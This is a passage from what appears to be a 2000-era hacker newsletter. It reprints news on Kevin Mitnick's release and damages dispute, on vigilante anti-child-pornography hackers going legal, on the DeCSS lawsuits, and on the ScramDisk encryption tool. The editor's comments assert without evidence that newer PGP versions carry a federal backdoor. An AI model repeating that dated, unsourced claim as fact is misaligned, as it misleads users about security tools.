month. According to Kimberly Tracey, a ham radio operator in Los Angeles and
a friend of Mitnick's, he's been scrambling to renew it.
"This is going to be part of Kevin's life, because they've taken away
computers and everything else," said Tracey. "I hope they don't take away
this."
Mitnick was unavailable for comment on his imminent release. Sources close
to the hacker say he granted the CBS news show "60 Minutes" an exclusive
interview last week, which is scheduled to air Sunday.
But in an interview with ZDNet News last July, Mitnick complained about his
treatment by the government prosecutors, who he said were "grossly
exaggerating the losses in the case and the damages I caused." (See: Mitnick
says, "I was never a malicious person.")
DePayne: Anger a major stumbling block
DePayne, Mitnick's former friend and co-defendant, worries that Mitnick's
anger will work against him in his new life.
"I don't know if that's ever going to go away; I don't know if he'll be able
to deal with it," said DePayne, speaking from his home in Palo Alto. Calif.,
where he's serving six months house arrest for aiding Mitnick's hacking
during his fugitive years. "That's going to be a major stumbling block for
him going forward."
DePayne said he last heard from Mitnick the night of his arrest, on a
message left on his answering machine. Now 39 years old, divorced and
heading a small Internet company of his own, DePayne insists he doesn't plan
on associating with the impish hacker he first met as a brash teenager two
decades ago.
"I can't be fooling around with these stunts and practical jokes that Kevin
might want to fool around with," said DePayne. "I'll miss Kevin. I won't
miss the trouble he brings to the table."
Kevin Poulsen is a former hacker. He writes a weekly column for ZDTV's
CyberCrime.
____________________________________________________________________________
Mitnick: I was manipulated
That's how hacker Kevin Mitnick feels after almost five years behind bars.
Just freed from prison Friday, notorious hacker Kevin Mitnick slammed
prosecutors and a New York Times' reporter for allegedly treating him
unjustly in the court and in the media over the past six years.
Read the article online at:
http://www.zdnet.com/zdnn/stories/news/0,4586,2425686,00.html?chkpt=zdnntop
Since this is *big* news, you can stay here and read the ASCII-version:
Mitnick: I was manipulated
By Robert Lemos, ZDNet News
UPDATED January 21, 2000 3:41 PM PT
Just freed from prison Friday, notorious hacker Kevin Mitnick slammed
prosecutors and a New York Times' reporter for allegedly treating him
unjustly in the court and in the media over the past six years.
"Prosecutors ... manipulated every aspect of this case from my personal
reputation, to the ability of my defense attorney to file motions in time,
and even to the extent of filing a 1,700-item exhibit list immediately
before a trial," said Mitnick, reading from a three-page statement to
reporters gathered near the Lompoc, Calif. prison facility, minutes after
being released from the medium-security prison.
Almost five years ago, federal authorities arrested Mitnick on a 25-count
indictment relating to misuse of Pacific Bell equipment for illegal wiretaps
and copying proprietary source code from Motorola, Sun Microsystems Inc.,
NEC Corp. and Novell, among others.
"My case is one of curiosity," said Mitnick. "There was no intent to defraud
anyone of anything."
New York Times' reporter John Markoff covered the latter portion of the
two-and-a-half year pursuit of Mitnick, and in a July 4, 1994, article
called him "Cyberspace's most wanted."
Mitnick blames the hype surrounding his elusive flight from authorities and
his subsequent arrest on Markoff's article. In addition, the 36-year old
ex-hacker claims that Markoff crossed the line by bringing authorities and
computer expert Tsutomu Shimomura together to track him down.
Mitnick went as far as to call the article libelous and defamatory.
In a Friday morning interview, Markoff stood by his reporting, saying that
the allegations were "really disappointing to me because it suggests that in
the past five years, and perhaps in the last 20 years, Kevin has not learned
anything. What he might have learned from all his time in prison is that it
is wrong to break into other people's computers. I don't think it is anymore
complex than that."
Markoff pointed out that Mitnick had been arrested five times in the last
20 years for computer-related crimes. "The problem is, and the reason the
judge kept him away from computers, (is that) this is the fifth time that he
has been arrested. It's not like they haven't given him chances," said
Markoff.
Markoff also denied any ethical breach. "I won't get into the specifics on
those three cases," Markoff said. "I want to say that I stand by my story,
and to note that it was written while Kevin was a fugitive from four law
enforcement agencies, and that's why it was written."
In court, Mitnick also claims he didn't get a fair shake.
Looking tired and much thinner than five years ago, the bespectacled
cybercriminal blamed prosecution for blocking his defense from acting on his
behalf. "Their method (in) this case was to manipulate the amount of loss to
exaggerate the alleged harm," he said.
"I've acknowledged since my arrest in February, 1995, that the actions I
took were illegal, and that I committed invasions of privacy. But to suggest
without reason or proof, as did Mr. Markoff and the prosecutors in this
case, that I had committed any type of fraud whatsoever, is simply untrue,
and unsupported by the evidence."
Damages 'grossly inflated'
In total, the prosecution estimated damages at $80 million by including the
full R&D costs of the applications and source code that Mitnick copied, even
though none of the code was ever sold to another company or is known to have
been used by a competitor.
"Everybody realizes that those (estimates) were greatly inflated," said
Jennifer Granick, a San Francisco defense attorney, who represented hacker
Kevin Poulsen in litigation following that hacker's release from prison.
(Poulsen is a ZDNet News contributor.)
The number may sound familiar. That's because David L. Smith, who plead
guilty to writing and releasing the Melissa virus in December, similarly
admitted to the prosecutor's assessed damages of $80 million.
It's no coincidence: Under federal law that is the maximum amount accounted
for by sentencing guidelines. In fact, it is usually the major factor in
determining the length of jail time.
That leads to a skewed pursuit of justice, said Granick. "The criminal
courts are here to deal with societal wrongs," she said. "It is not their
primary purpose to recompense the victims."
"I hope that the Kevin Mitnick case is the last case of the great '80s
hacker hysteria," she continued. "I hope that we won't have the same kind of
hype in the future so that people can get a fair shake in the media and in
court."
The U.S. Attorney's office could not comment by press time.
Kevin Poulsen contributed to this report.
____________________________________________________________________________
The case of the kung fu 'phreak'
Did Kevin Mitnick really trash-talk his hunter, Tsutomu Shimomura, about
his
kung fu ability? The real kung fu prankster is unmasked.
Read the article online at:
http://www.zdnet.com/zdnn/stories/news/0,4586,2425425,00.html
Since this is *big* news, you can stay here and read the ASCII-version:
The case of the kung fu 'phreak'
Did Kevin Mitnick really trash-talk his hunter, Tsutomu Shimomura, about
his kung fu ability? The real kung fu prankster is unmasked.
By Kevin Poulsen, ZDNet News
January 21, 2000 11:59 AM PT
Two days after computer security expert Tsutomu Shimomura suffered the
now-legendary Christmas Day 1994 hack-attack that launched his search for
Kevin Mitnick, a mysterious message left on his voice mail box added
real-world menace to the cyberspace crime.
"Damn you, my technique is the best," said an odd voice in a faux-British
accent. "I know sendmail technique, and my style is much better ... Me and
my friends, we'll kill you."
Three days later the caller left another message, this time beginning with a
kung fu scream and affecting the voice of an actor in a martial arts film:
"Your security technique will be defeated. Your technique is no good."
In a third message, on Feb. 4, 1995, the caller chided Shimomura, who he
called "grasshopper," for mentioning the messages in a Newsweek article on
the intrusion and for putting digitized copies on the Internet. "Don't you
know that my kung fu is the best?"
The taunting phone calls were presumed to be from Shimomura's intruder, and
they became a fixture in the Shimomura vs. Mitnick manhunt story. Digitized
copies can be found on the official Web site for Shimomura's book,
"Takedown: The Pursuit and Capture of America's Most Wanted Computer
Outlaw -- By The Man Who Did It."
The equation of hacking with kung fu fighting has become a cultural
touchstone in its own right, and on more than one occasion the "Lone Gunmen"
hackers on Fox's "The X-Files" have been heard to mutter, "My kung fu is the
best."
The real kung fu 'phreak'
The only problem is, the thinly disguised voice never sounded at all like
Kevin Mitnick, and two of the messages came after the hacker had been
arrested.
"I heard that this guy named Shimomura had been hacked ... So I just
thought, What the hell, I'd leave some voice mails," says 31-year-old Zeke
Shif. "I used to watch kung fu movies a lot."
Under the handle "SN," Shif once had a solid reputation in the computer
underground as a "phone phreak" (i.e., phone hacker). But he says that, by
1995, his fear of "The Man" had long since scared him straight; he simply
succumbed to the temptation to make some prank phone calls.
"I thought I'd be funny," says Shif, who like many hackers from the early
1990s has gone on to work in the computer security trade, for Virginia-based
Network Security Technologies Inc.
The matter became less amusing when Shif read the news reports on Feb. 15,
1995. "I found out Mitnick got caught, and they were trying to link that to
the voice mail," says Shif, who responded by calling Shimomura again. "I
left a pre-emptive messages, saying, listen, this has nothing to do with any
Mitnick or anything, I'm just making fun of kung fu movies."
And this time, he didn't call him grasshopper.
____________________________________________________________________________
Mitnick Released
Hacker Kevin Mitnick, released after nearly five years in prison, blames the
media and federal prosecutors for his imprisonment.
Read the article online at:
http://www.zdnet.com/zdtv/cybercrime/news/story/0,3700,2118614,00.html
Since this is *big* news, you can stay here and read the ASCII-version:
Mitnick Released
Hacker Kevin Mitnick, released after nearly five years in prison, blames
the media and federal prosecutors for his imprisonment.
By Iolande Bloxsom January 21, 2000
Convicted hacker Kevin Mitnick was released early this morning from federal
prison in Lompoc, California.
Possibly the most famous hacker ever, Mitnick was arrested in February of
1995, and has spent almost five years in prison.
In a prepared statement, Mitnick had harsh words for both the media and
federal prosecutors, both of whom he blamed for his long incarceration.
The media "grossly misreported" his case and created what he called the
"villain of the month." He also railed against the media for "defin[ing]
what is 'acceptable discussion'."
Mitnick singled out John Markoff, a reporter for The New York Times,
accusing him of "libelous and defamatory reporting-- and I use the word
reporting in quotes." He charged that Markoff's articles had facts that were
untrue, that were unproven, and that Markoff failed to disclose a previous
relationship. (Mitnick appeared in Cyberpunk, a book Markoff co-wrote with
Katie Hafner in 1995.) Finally, Mitnick claimed that the journalist "is a
millionaire" now because of his reporting on the convicted hacker.
In a later interview with ZDTV's Janet Yee, Markoff said he stood by his
reporting.
However, Mitnick had equal censure for prosecutors David Schindler and
Christopher Painter, who, he claimed "went as far as holding me in solitary
confinement," to try to force him to plead guilty. He says, though, that his
crime was one of trespass, rather than fraud. "I never deprived company's of
anything... there was never any evidence of fraud."
Mitnick pleaded guilty on March 26, 1999, to seven felonies, including
unauthorized intrusion into computers at cellular telephone companies,
software manufacturers, ISPs, and universities. He also admitted to
illegally downloading proprietary software from some of these companies.
In August, US District Court Judge Marianna Pfaelzer sentenced Mitnick to 46
months in prison and ordered him to pay $4,125 in restitution. She also
ordered Mitnick not to touch a computer or cellular phone without written
approval from his probation officer.
The sentence, governed by a plea agreement between Mitnick and his
prosecutors, ran on top of the 22 months he already received for cell-phone
cloning and a probation violation, for a total of 68 months. With credit for
his lengthy pretrial custody and some time off for good behavior, Mitnick
served just less than five years in prison.
Mitnick is headed back to Los Angeles, where his family lives.
By Iolande Bloxsom January 21, 2000
____________________________________________________________________________
Mitnick's Digital Divide
/* This is news from two weeks ago, but still a headline */
It's the year 2000, and Kevin Mitnick is going free. The problem is, he'll
be trapped in 1991.
Read the online article at:
http://www.zdnet.com/zdtv/cybercrime/chaostheory/story/0,3700,2128328,00.htm
l
Since this is *big* news, you can stay here and read the ASCII-version:
Mitnick's Digital Divide
It's the year 2000, and Kevin Mitnick is going free. The problem is, he'll
be trapped in 1991.
By Kevin Poulsen January 12, 2000
On Friday, January 21, hacker Kevin Mitnick will go free after nearly five
years behind bars. But when he walks out the gates of the Lompoc federal
correctional institution in California, he'll be burdened with a crippling
handicap: a court order barring him for up to three years from possessing or
using computers, "computer-related" equipment, software, and anything that
could conceivably give him access to the Internet.
These anti-computer restrictions are even more ridiculous today than when I
faced them upon leaving federal custody in June, 1996.
In the wired world of 2000, you'd be hard pressed to find a job flipping
burgers that didn't require access to a computerized cash register, and
three years from now McDonald's applicants will be expected to know a little
Java and a smattering of C++.
Since Mitnick's arrest in 1995, the Internet has grown from a hopeful ditty
to a deafening orchestral roar rattling the windows of society. The
importance of computer access in America has been acknowledged by the White
House in separate initiatives to protect technological infrastructure from
"cyberterrorists," and to bridge the so-called digital divide between
information haves and have-nots. "We must connect all of our citizens to the
Internet," vowed President Clinton last month.
He was not referring to Kevin Mitnick.
Mitnick, dubbed the "World's Most Notorious Hacker" by Guinness, pleaded
guilty on March 26 to seven felonies, and admitted to cracking computers at
cellular telephone companies, software manufacturers, ISPs, and
universities, as well as illegally downloading proprietary software. Though
he's never been accused of trying to make money from his crimes, he's been
in and out of trouble for his nonprofit work since he was a teenager.
So, the theory goes, keeping Mitnick away from computers will deprive a
known recidivist of the instruments of crime and set him on the road to
leading a good and law-abiding life.
I've heard that theory from prosecutors, judges and my (then) probation
officer. They all compare computers to lock picks, narcotics, and guns--
everything but a ubiquitous tool used by a quarter of all Americans and
nearly every industry.
Mitnick, we should believe, will be tempted in the next year or so to crack
some more computers and download some more software. But when the crucial
moment comes for him to commit a felony that could land him in prison for a
decade, his fingers will linger indecisively over the keyboard as he
realizes, "Wait! I can't use a computer! My probation officer will be
pissed!"
The fact is, if Mitnick chooses crime, he won't be deterred by the 11 months
in prison that a technical supervised release violation could carry. These
conditions only prevent him from making legitimate use of computers.
Mitnick's rehabilitation is up to him. But the system shouldn't throw up
obstructions by keeping him away from the mainstream, on the sidelines, and
out of the job market. His probation officer will have the power to ease his
restrictions, perhaps by allowing him to get a computer job with the
informed consent of his employer. That would be a good start.
January 21 will be a happy day for Mitnick, his family, and friends. But
getting out of prison after a long stretch carries challenges too. Nobody is
served by stranding the hacker on the wrong side of the digital divide.
____________________________________________________________________________
Mitnick: 'I was never a malicious person'
/* This is news from a few months ago, but still a headline */
Hacker files motion accusing government of misconduct -- goes on the record
with ZDNN. 'The federal government manipulated the facts.'
Read the online article at:
http://www.zdnet.com/zdnn/stories/news/0,4586,2306704,00.html?chkpt=zdnnrla
Since this is *big* news, you can stay here and read the ASCII-version:
Mitnick: 'I was never a malicious person'
Hacker files motion accusing government of misconduct -- goes on the record
with ZDNN. 'The federal government manipulated the facts.'
By Kevin Poulsen, ZDNet News
July 30, 1999 4:36 PM PT
Kevin Mitnick and his attorneys are asking a federal judge to unseal a
court filing that they claim proves the government was guilty of misconduct
while building its case against the hacker. The goal, says Mitnick in a rare
interview, is to clear his name.
"At the beginning of this case the federal government manipulated the facts
to allege losses that were grossly inflated," Mitnick said in a telephone
interview Thursday night from the Los Angeles Metropolitan Detention Center.
"Hopefully, if the court considers this motion and rules upon its merits, it
will clear me publicly of the allegations that I caused these significant
losses."
The motion, filed by defense attorney Don Randolph on July 22, is the
latest conflict in a case that's remained unusually acrimonious, considering
that both sides reached a plea settlement in March. Under the terms of the
agreement, Mitnick pleaded guilty to seven felonies and admitted to
penetrating computers at such companies as Motorola (NYSE:MOT), Fujitsu and
Sun Microsystems, (Nasdaq:SUNW) and downloading proprietary source code. On
Aug. 9, he's expected to be sentenced to 46 months in prison, on top of the
22 months he received for cell phone cloning and an earlier supervised
release violation.
Mitnick vexed by 'snowball effect'
The only sentencing issue left unresolved is the amount of money Mitnick
will owe his victims.
Prosecutors are seeking $1.5 million in restitution -- a modest figure
compared to the more than $80 million the government quoted to an appeals
court last year, when it successfully fought to hold the hacker without
bail. That figure, though no longer promulgated by prosecutors, vexes
Mitnick, who sees a "snowball effect" of bad press that began with a 1994
front-page article in the New York Times.
"Because of this assault that was made upon me by John Markoff of the New
York Times, then the federal government grossly exaggerating the losses in
the case and the damages I caused, I have a desire to clear my name,"
Mitnick said. "The truth of the matter is that I was never a malicious
person. I admit I was mischievous, but not malicious in any sense."
Markoff reported on Mitnick for the New York Times, and went on to
co-author Tsutomu Shimomura's book, "Takedown: The Pursuit and Capture of
America's Most Wanted Computer Outlaw -- By The Man Who Did It," slated as
an upcoming movie from Miramax. Markoff's portrayal of Mitnick, and the
profit it ultimately earned him, has been the subject of some criticism from
Mitnick's supporters, and raised eyebrows with a handful of journalists.
Markoff's most enduring Mitnick anecdote is the story that the hacker
cracked NORAD in the early 1980s, a claim that was recycled as recently as
last May by another New York Times reporter. "I never even attempted to
access their computer, let alone break into it," Mitnick said. "Nor did I do
a host of allegations that he says I'm guilty of."
For his part, Markoff says of the NORAD story: "I had a source who was a
friend of Kevin's who told me that. I was not the first person to report it,
nor the only person to report it."
Government collusion?
The July 22 motion filed by Mitnick's attorney accuses the government of
coaching victim companies on how to artificially inflate their losses. The
filing is based on documents Randolph subpoenaed from Sun, which show that
shortly after Mitnick's February 1995 arrest, the FBI specifically
instructed Sun to calculate its losses as "the value of the source code"
Mitnick downloaded, and to keep the figure "realistic."
Following the FBI's advice, Sun estimated $80 million in losses based on
the amount they paid to license the Unix operating system. Six other
companies responded, using software development costs as the primary
calculus of loss. The total bill came to $299,927,389.61, significantly more
than the $1.5 million the government says Mitnick inflicted in repair and
monitoring costs, and theft of services and the $5 million to $10 million
both sides stipulated to for purposes of sentencing.
"At the beginning of this litigation, the government misrepresented to the
federal judiciary, the public and the media the losses that occurred in my
case," Mitnick said.
To Randolph, it all smacks of collusion. "What comes out from the e-mails
that we have, is that the so-called loss figures solicited by the government
were research and development costs at best, fantasy at worst," he said. "I
would classify it as government manipulation of the evidence."
However, prosecutor David Schindler dismissed Randolph's claims as "silly
and preposterous."
"What would be inappropriate is to tell them what dollar amount to arrive
at. In terms of the methodology, in terms of what is to be included in loss
amounts, that direction is something we often provide because we're aware of
what components are allowable under law, and which components are not," he
said.
Schindler said development costs are a valid indicator of victim loss, but
acknowledges that putting a dollar figure on software can be difficult.
Mitnick claims cover-up
Mitnick and his attorney both say there's more to the story, but they can't
talk about it. At Mitnick's last court appearance on July 12, the judge
granted a government request that any filings relating to victim loss be
sealed from the public.
"As much as the government would like to, you can't take the recipe for ice
and file it under seal and have it become confidential," said Mitnick, who,
along with his attorney, is challenging the confidentiality of the loss
information, and asking for the motion to be unsealed.
Mitnick claims he smells a cover-up. "The government should not be permitted
to bury the truth of the case from the public and the media by seeking and
obtaining a protective order to essentially force me to enter a code of
silence," he said.
"Our only concern, as it has been from day one, is the protection of the
victims of Mitnick's crimes," prosecutor Schindler said. "Why Mitnick and
his lawyers want to continue to harass, embarrass and abuse them remains a
mystery to us, but it's something that we will continue to oppose
vigorously."
Although the software costs are no longer being used against his client,
Randolph claimed that by "manipulating the loss figures," the government
raises the issue of whether even the more modest $1.5 million calculation is
accurate. In the sealed motion, he's seeking an evidentiary hearing to
explore the matter, and asking that Mitnick be released on a signature bond
pending that hearing.
And if Mitnick winds up owing money anyway? "We're asking for sanctions that
the government pay the restitution," Mitnick said, "and that the judge
recommend that I be immediately designated to a halfway house for the
government's misconduct in this case."
Excerpt of the Sun documents are available on the Free Kevin Web site,
maintained by members of a tireless grass-roots movement that's protested
the hacker's imprisonment for years. "I'd like to sincerely thank all my
friends and supporters for all the support they've given me over this long
period of time," Mitnick said. "I'd like to thank them from my heart."
Kevin Poulsen writes a weekly column for ZDTV's CyberCrime.
@HWA
25.0 Hackers vs Pedophiles, taking on a new approach.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.wired.com/news/print/0,1294,33869,00.html
Hackers' New Tack on Kid Porn
by Lynn Burke
3:00 a.m. 3.Feb.2000 PST Kent Browne used to spend most of his free time
hacking Web sites, erasing hard drives, disabling servers, and knocking
folks out of chat rooms.
Like many hackers, he subscribed to the classic Machiavellian argument,
that the end justifies the means -- especially when the end was
eradicating child pornography on the Internet.
In early December, he and some fellow hackers from New York to Australia
started a group called Condemned, and announced their intention to take
down child pornographers by any means necessary.
But when Browne, 41, talked to Parry Aftab, an attorney who heads the
biggest and most well-known of the anti-child pornography groups -- Cyber
Angels -- he had a sudden change of heart.
"She said that the one problem we would have would be with law
enforcement. If they knew we were doing illegal stuff, they wouldn't touch
us with a 10-foot pole," he said. "Quite frankly, I'm an older guy. I've
got two kids. And I don't want to take any chances."
So now he and the rest of Condemned's loosely organized volunteers use
specially designed software and good old-fashioned Internet search engines
to ferret out the bad stuff and tip off federal agents in the U.S. Customs
Service and the FBI.
They're not alone. Natasha Grigori and her volunteer staff at
antichildporn.org have also decided to hang up their hacking shoes. At her
old organization, Anti Child Porn Militia, Grigori was dedicated to the
use of hacking to disable child pornography Web sites.
"We started out very angry, we started out very militant," she said.
But a trip to Def Con in Las Vegas made her change her mind. She started
talking with people on the right side of the law, and they told her they
supported her cause, but not her means.
"You can't stop a felony with a felony," she says now.
But the decision to go "legal" was a difficult one, and she lost most of
her volunteer hackers.
"Less than a dozen out of 250 stuck with us," she said. "They didn't like
the idea. They just thought we could rip and tear." Browne also says
he had a hard time leaving the hacking behind, mostly because he thought
it was right.
"Which is more illegal? Having children's pictures on the Internet or
hacking down the servers?" he asked. "Morally, I felt I was right."
But morals don't make hacking the right way to eliminate child
pornography, according to Aftab, the author of The Parent's Guide to
Protecting Your Children in Cyberspace. She says hacking complicates the
fight and casts a cloud over groups like hers that work closely with
law enforcement.
"We need help but we need the right help," she said.
When a site is taken down off the Web, it turns up somewhere else, usually
within minutes, she said. And if a server is destroyed, so is the evidence
of the person behind it.
"I'd frankly love to able to do all kinds of things to these groups," she
said. "You can't let your gut reaction dictate how you react to a
disgusting situation."
Getting a gauge on the prevalence of child pornography is difficult.
Experts say that most of the images of child pornography are downloaded
from newsgroups and traded in secret email clubs.
Aftab says true child pornography -- the kind that features children who
are very young -- isn't very easy to stumble across on the Web. It takes
some digging, she says, for her volunteers to find about 150 new sites
each month.
And the reason a group like hers is necessary, she says, is that the
technological savvy of the law enforcement is lacking.
"When the total technology behind the cops is that one guy uses AOL at
home, it's kind of hard to do cyber-forensics," she said.
Grigori said she recently asked a federal agent to come to her office for
a meeting to talk about the problem. "The one fed looked at my computer
like it was a toaster," she said. "I asked him for his email address, and
he said, 'I don't have a computer.'" The former deputy chief of the
Child Exploitation Unit at the Department of Justice, Robert Flores, also
says the government isn't doing its part.
Flores has had years of experience tracking down child pornographers and
pedophiles, both online and off. But he didn't think he could get his job
done as a government employee.
"I got to the point where I thought I could do more for families and kids
outside of the Justice Department," he said.
Flores is now the senior counsel for the Fairfax, Virginia-based National
Law Center for Children and Families, a legal resource center for child
pornography. "One of the things the Justice Department has failed to do is
say that the law applies on the Internet, that the Internet is not a
lawless place," he said.
The laws forbidding child pornography are fairly new.
The Supreme Court first ruled in New York v. Ferber in 1982 that child
pornography was not protected by the First Amendment. The decision said
the government could ban sexual images with serious literary or artistic
value in the interest of preventing "the harmful employment of
children to make sexually explicit materials for distribution."
Two years later, the justices said the government could outlaw not just
the distribution but also the possession of child porn.
And it is only in the last few years that the Internet has played a role
in laws and statutes governing pornography in general, and child
pornography in particular. There is currently a schism within the legal
community over the definition of child pornography, and whether it
should include computer-generated photographs or computer-enhanced
photographs that appear to feature children engaged in sex acts, but
actually contain adults.
But while the courts hammer out the issues, some say citizens shouldn't
take matters into their own hands.
Flores likened the Internet community's attempt to patrol child
pornography to picketers in front of a porn store. It's well-intentioned,
but it won't change anything.
"My recommendation is that this is not the job for a layman, quite
simply," he said. "That's why we pay taxes."
@HWA
26.0 SCRAMDISK (Windows) on the fly encryption for your data.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This isn't new, but it is a VERY good package, several of my colleagues and
myself use it for sensitive material on our winboxes. The bonus is, its
free software and will offer sufficient protection of data for most users.
This is especially useful for using personal data on your drives at work
and hiding it from the boss, its like having your own (secret) hard disk
in your work's machine. The other uses are obvious. A note about PGP,
the latest versions have a BACKDOOR that allows federal agencies access
to your data. Use an earlier version of PGP (4.2) if you want to make
things harder for federal agents to access your data(!) - Ed
The walls have ears, the net has taps, the government (not just your own)
IS listening and scanning your data, so protect your privacy and use
PGP for sensitive emails or data transmissions, also use SSH instead of
telnet for accessing your shell accounts if possible as many sites are
sniffed by hackers daily. - Ed
http://www.securiteam.com/tools/ScramDisk_-_Disk_Encryption_Tool.html
5/1/2000
ScramDisk - Disk Encryption Tool
Details
Scramdisk is a program that allows the creation and use of virtual
encrypted drives. Basically, you create a container file on an existing
hard drive that is locked with a specific password. This container can
then be mounted by the Scramdisk software, which creates a new drive
letter to represent the drive. The virtual drive can then only be accessed
with the correct pass phrase. Without the correct pass phrase the files on
the virtual drive are totally inaccessible - even physically extracting
the data will reveal nothing (since the contents are encrypted).
Once the pass phrase has been entered correctly and the drive is mounted,
the new virtual drive can be used as a normal drive; files can be saved
and retrieved and you can safely install applications onto the encrypted
drive.
Scramdisk allows virtual disks to be stored in a number of ways:
1. In a container file on a FAT formatted hard disk. 2. On an empty
partition. 3. Stored in the low bits of a WAV audio file (this is called
steganography). This last option is especially interesting, since this WAV
file can be sent by e-mail or carried on a diskette without attracting too
much attention (since by casual hearing the WAV file sounds like the
original sound file).
Details: Scramdisk can create virtual disks with a choice of a number of
'industry standard' encryption algorithms: Triple-DES, IDEA, MISTY1,
Blowfish, TEA (either 16 & 32 rounds), and Square. It also includes a
proprietary and very fast algorithm 'Summer' which is provided for minimal
security applications and for compatibility with older versions of
ScramDisk.
Why not use PGP? PGP is a great program, but it doesn't allow the
on-the-fly encryption of a disk's contents. Instead users have to:
1. Decrypt the existing file 2. Work on the data 3. Re-encrypt the data
The problem is, while the file is decrypted it is vulnerable to
interception.
Scramdisk is complementary to PGP; PGP is excellent for communication
security, but is somewhat lacking user friendliness when used for data
storage security.
Flaws in the system Scramdisk is not totally secure (and nor is any
security program!). There are a number of ways an attacker may try
infiltrating your system:
1. Look for applications that leak data. A very well known word-processor
has an interesting bug that leaks parts of the raw contents of the disk
when saving an OLE Compound Document.
2. Look for data that isn't deleted securely. Ok, everyone knows that you
can undelete a file easily. Did you know that even a file that has been
'wiped' could potentially be recovered by looking at the surface of the
disk? Deleted files should be securely wiped using an appropriate program
(PGP v6+ contains a secure file wiping program).
3. Look for data that has leaked in other ways. Temporary files and the
swap file spring to mind. These both need to be securely erased too.
4. Using Van Eck monitoring. Basically, electrical emissions from the
monitor, hard drive and even keyboard can be detected and recorded from a
distance away. This may allow an eavesdropper to see what's on your screen
or detect your pass phrase as you type it.
5. Brute Forcing. This can happen in a number of ways: they can try
brute-forcing your pass phrase (its important to use a large pass phrase
that isn't easily guessed, it helps to use both upper and lower case and
numbers as well) or they can try to brute force the algorithm. This is
hard work (and will take around 2^127 operations with most of the ciphers
included with ScramDisk - DES & Summer are exceptions).
6. Some of the ciphers included may be susceptible to attacks not known
about in public. The NSA/GCHQ may have a mechanism faster than brute-force
of attacking the algorithms. Scramdisk does not include any weak
algorithms in the original distribution (apart from Summer, which is
included for backwards compatibility), but who can tell what the
Intelligence Agencies can do with Blowfish, IDEA, 3DES et al?
7. Install an amended version of ScramDisk on your computer that secretly
stores your pass phrase so that it can be later read by a CIA agent. (Or
use a program like SKIn98 to do it!) Far fetched? Possibly, but you should
be aware that this kind of attack exists. There is no real way to defend
this attack. Check the PGP Signatures of the ScramDisk files against the
executables on your computer, but could your copy of PGP have also been
amended?
8. Beating you until you spill your pass phrase. Truth drugs also work,
apparently.
The software can be downloaded free of charge from:
http://www.scramdisk.clara.net/
@HWA
27.0 HNN:Jan 17: MPAA files more suits over DeCSS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.hackernews.com/arch.html?011700
MPAA Files More Suits over DeCSS
contributed by Project Gamma and Macki
In an effort to stop further distribution of the DeCSS
program the Motion Picture Association of America has
filed lawsuits in federal courts. This follows similar action
two weeks ago by the DVD industry association. The
MPAA feels that allowing potential illegal copying of
DVDs with the DeCSS the program would be a violation
US copyright law.
Wired
http://www.wired.com/news/politics/0,1283,33680,00.html
ZD Net
http://www.zdnet.com/zdnn/stories/newsbursts/0,7407,2422893,00.html?chkpt=p1bn
CNN has some interesting quotes from a Warner Home
Video spokesperson regarding this hole mess.
CNN - Look about halfway down
http://www.cnn.com/TRANSCRIPTS/0001/11/st.00.html
MPAA has a few interesting things to say as well.
MPAA
http://www.mpaa.org/dvd/content.htm
The folks over at CopyLeft have come up with a T-shirt
that has the source code to css_descramble.c printed
on it. (Cool, and only $15)
CopyLeft
http://copyleft.net/cgi-bin/copyleft/t039.pl?1&back
** These are really neat, check em out.. - Ed
2600 has posted the story of what has happened to
them since their involvement began including them being
named as a defendant in the case.
2600.com
http://www.2600.com/news/2000/0115.html
OpenDVD.org is attempting to cover all the
developments (and doing a damn good job) in this case
including the scheduled injunction for January 18, 2000.
OpenDVD.org
http://opendvd.org/
Articles:
Wired;
Movie Studios File DVD Hack Suit
Reuters
5:20 p.m. 14.Jan.2000 PST
The seven largest US movie studios filed their own lawsuits Friday to prevent
several Internet sites from distributing a program that could allow copying
of DVD movies.
The lawsuits, filed in federal courts in New York and Connecticut, followed
a broader lawsuit filed last month in state court in California by a DVD
equipment manufacturers group.
At issue is a program called DeCSS, written by a Norwegian programmer, that
allows users to bypass the encryption scheme used on DVDs to prevent unauthorized
copying.
But many Internet users and programmers say the software had a simpler, less
insidious goal. They said the program was needed to allow people to watch DVD
movies on computers running the Linux operating system.
The studios argued that by allowing potential illegal copying, the program
violated US copyright law. They asked the courts to prohibit four people from
distributing the program on their Web sites.
A spokesman for the Motion Picture Association of America, the studios'
lobbying group, said the Web sites involved were dvd-copy.com, krackdown.com
and ct2600.com. Dozens of other Web sites have also carried either the program
or source code instructions showing how to write the program.
"This is a case of theft," said Jack Valenti, president of the association.
"The posting of the de-encryption formula is no different from making and then
distributing unauthorized keys to a department store."
The people who posted the code said they had done nothing wrong, insisting that
the program was meant to allow viewing of DVD movies under Linux.
"I don't have illegal copies of movies on my site," said Shawn Reimerdes, a
computer programmer who maintains the dvd-copy.com Web site. "Just posting
these files shouldn't be illegal."
Internet advocacy groups have also opposed the lawsuits, arguing that the posting
of computer codes on a Web site is a form of speech protected by the First Amendment.
"This is definitely an infringement on freedom of speech," said Shari Steele,
director of legal services at the Electronic Frontier Foundation, a San Francisco
-based cyber-rights advocacy group. "What has been done was totally legal.
Posting of the program is legal and there are no pirated movies here."
Chris DiBona, who promotes Linux use for VA Linux Systems, said the industry had
refused to help create a program to play DVDs under Linux.
"The whole reason this happened is because the movie industry itself didn't support
Linux," DiBona said. "They thought they could keep this a secret. They failed."
The lawsuit relied on the 1998 Millennium Digital Copyright Act, which outlawed
the distribution of products designed to crack copyright protection schemes.
"If you can't protect that which you own, then you don't own anything," MPAA's
Valenti said.
In the California case, the court last month turned down the industry's request
for a temporary restraining order against a much wider array of defendants, many
of whom had only provided a link on their Web page to a page
containing the actual program. A hearing is scheduled for next week.
Friday's lawsuits were filed by Buena Vista Pictures, a unit of Walt Disney,
Metro-Goldwyn-Mayer, Paramount Pictures, a unit of Viacom, Sony's Sony Pictures
Entertainment, News Corp.'s Twentieth Century Fox Film, Universal Studios,
a unit of Seagram, and Warner Bros., a unit of Time Warner.
-=-
MPAA;
404 - sorry article vanished.
@HWA
28.0 WARftpd Security Alert (Will they EVER fix this software??)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://war.jgaa.com/alert/
